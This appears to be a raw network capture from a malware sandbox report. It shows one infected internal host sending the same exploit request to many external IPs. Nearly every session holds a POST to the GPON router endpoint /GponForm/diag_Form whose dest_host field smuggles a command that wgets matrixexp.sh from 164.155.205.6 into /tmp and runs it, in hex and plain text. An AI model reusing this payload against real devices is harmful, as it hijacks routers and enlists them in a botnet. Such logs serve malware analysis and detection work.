Mar 2, 2024 12:37:07.898701906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	34758	109.48.76.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898718119 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	51298	210.9.166.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898726940 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	33000	94.8.255.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898751974 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	59716	94.34.242.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898767948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	45032	94.200.89.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898772001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	60630	37.159.21.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898792982 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	43578	94.178.48.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898797989 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	56510	210.218.16.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898816109 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	49638	42.26.92.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898829937 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	58626	37.108.210.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898830891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	47148	212.245.206.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898830891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	46622	37.175.219.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898830891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	50846	2.20.59.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898853064 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	43738	2.113.21.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898884058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	33216	5.123.104.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898894072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	42744	212.135.246.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898901939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	55752	5.112.236.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898914099 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	46982	212.236.41.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898917913 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	56706	5.112.43.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898927927 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	40310	94.152.19.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.898955107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	57604	94.112.49.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.899019003 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	48704	118.122.206.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.899019003 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	52176	37.71.196.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:07.899024010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	44118	64.222.155.243	7547

Timestamp	Bytes transferred	Direction	Data
